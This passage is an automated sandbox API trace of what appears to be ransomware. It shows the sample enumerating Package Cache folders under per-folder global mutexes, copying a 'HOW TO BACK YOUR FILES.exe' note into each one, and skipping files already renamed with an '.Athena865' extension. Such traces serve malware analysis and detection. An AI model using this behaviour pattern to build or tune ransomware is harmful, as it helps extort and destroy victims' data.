cFileName="packages", cAlternateFileName="")) returned 0 [0103.036] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.036] ReleaseMutex (hMutex=0xec) returned 1 [0103.036] CloseHandle (hObject=0xec) returned 1 [0103.036] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0103.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c108 | out: hHeap=0x4f0000) returned 1 [0103.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52abb8 | out: hHeap=0x4f0000) returned 1 [0103.036] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 88 [0103.036] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\557B976A2BCFC3D964A57DAEB8798024") returned 0xec [0103.036] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.036] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0103.036] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.037] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.037] GetLastError () returned 0x0 [0103.037] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.038] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.038] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe24954e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24954e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.038] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.038] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.038] lstrcpyW (in: lpString1=0x241e8fa, lpString2="state.rsm.Athena865" | out: lpString1="state.rsm.Athena865") returned="state.rsm.Athena865" [0103.038] lstrlenW (lpString="state.rsm.Athena865") returned 19 [0103.038] lstrlenW (lpString="Athena865") returned 9 [0103.038] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.038] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xe24954e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f730, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 1 [0103.038] lstrcmpiW (lpString1="vcredist_x86.exe.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.038] lstrcmpiW (lpString1="vcredist_x86.exe.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.038] lstrcpyW (in: lpString1=0x241e8fa, lpString2="vcredist_x86.exe.Athena865" | out: lpString1="vcredist_x86.exe.Athena865") returned="vcredist_x86.exe.Athena865" [0103.038] lstrlenW (lpString="vcredist_x86.exe.Athena865") returned 26 [0103.038] lstrlenW (lpString="Athena865") returned 9 [0103.038] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.038] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xe24954e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f730, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 0 [0103.039] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.039] ReleaseMutex (hMutex=0xec) returned 1 [0103.039] CloseHandle (hObject=0xec) returned 1 [0103.039] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0103.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c8e0 | out: hHeap=0x4f0000) returned 1 [0103.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52abd0 | out: hHeap=0x4f0000) returned 1 [0103.039] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 99 [0103.039] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0407E2B7D229250357778B7F2BA59393") returned 0xec [0103.039] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.039] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0103.039] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.039] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.040] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.040] GetLastError () returned 0x0 [0103.040] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.041] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.041] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.041] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.041] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.041] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.041] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.041] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.042] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe2507900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2507900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.042] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.042] ReleaseMutex (hMutex=0xec) returned 1 [0103.042] CloseHandle (hObject=0xec) returned 1 [0103.042] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0103.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c1c8 | out: hHeap=0x4f0000) returned 1 [0103.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52abe8 | out: hHeap=0x4f0000) returned 1 [0103.042] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 88 [0103.042] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5A4F859DEB2C43E981C352FFBE44DAEF") returned 0xec [0103.042] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.042] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0103.042] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.042] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.043] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.043] GetLastError () returned 0x0 [0103.043] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.044] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.044] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2553bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2553bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.044] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.044] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.044] lstrcpyW (in: lpString1=0x241e8fa, lpString2="state.rsm.Athena865" | out: lpString1="state.rsm.Athena865") returned="state.rsm.Athena865" [0103.044] lstrlenW (lpString="state.rsm.Athena865") returned 19 [0103.044] lstrlenW (lpString="Athena865") returned 9 [0103.044] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.044] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xe2579d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x713b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 1 [0103.044] lstrcmpiW (lpString1="vcredist_x64.exe.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.044] lstrcmpiW (lpString1="vcredist_x64.exe.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.044] lstrcpyW (in: lpString1=0x241e8fa, lpString2="vcredist_x64.exe.Athena865" | out: lpString1="vcredist_x64.exe.Athena865") returned="vcredist_x64.exe.Athena865" [0103.045] lstrlenW (lpString="vcredist_x64.exe.Athena865") returned 26 [0103.045] lstrlenW (lpString="Athena865") returned 9 [0103.045] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.045] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xe2579d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x713b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 0 [0103.045] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.045] ReleaseMutex (hMutex=0xec) returned 1 [0103.045] CloseHandle (hObject=0xec) returned 1 [0103.045] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0103.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526248 | out: hHeap=0x4f0000) returned 1 [0103.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac00 | out: hHeap=0x4f0000) returned 1 [0103.045] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 100 [0103.045] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0836026617771CBB4ED458949F38D764") returned 0xec [0103.045] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.045] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0103.045] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.045] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.046] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.046] GetLastError () returned 0x0 [0103.046] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.047] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.047] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.047] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.047] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.047] lstrcpyW (in: lpString1=0x241e912, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.047] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.047] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xe25ec140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe25ec140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.048] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.048] ReleaseMutex (hMutex=0xec) returned 1 [0103.048] CloseHandle (hObject=0xec) returned 1 [0103.048] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0103.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526320 | out: hHeap=0x4f0000) returned 1 [0103.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac18 | out: hHeap=0x4f0000) returned 1 [0103.048] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 100 [0103.048] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E03F291B36F0B155A167151E9B392770") returned 0xec [0103.048] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.048] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0103.048] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.048] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.049] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.049] GetLastError () returned 0x0 [0103.049] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.050] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.050] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.050] lstrcpyW (in: lpString1=0x241e912, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.050] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.050] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.050] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.051] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xe25ec140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe25ec140, 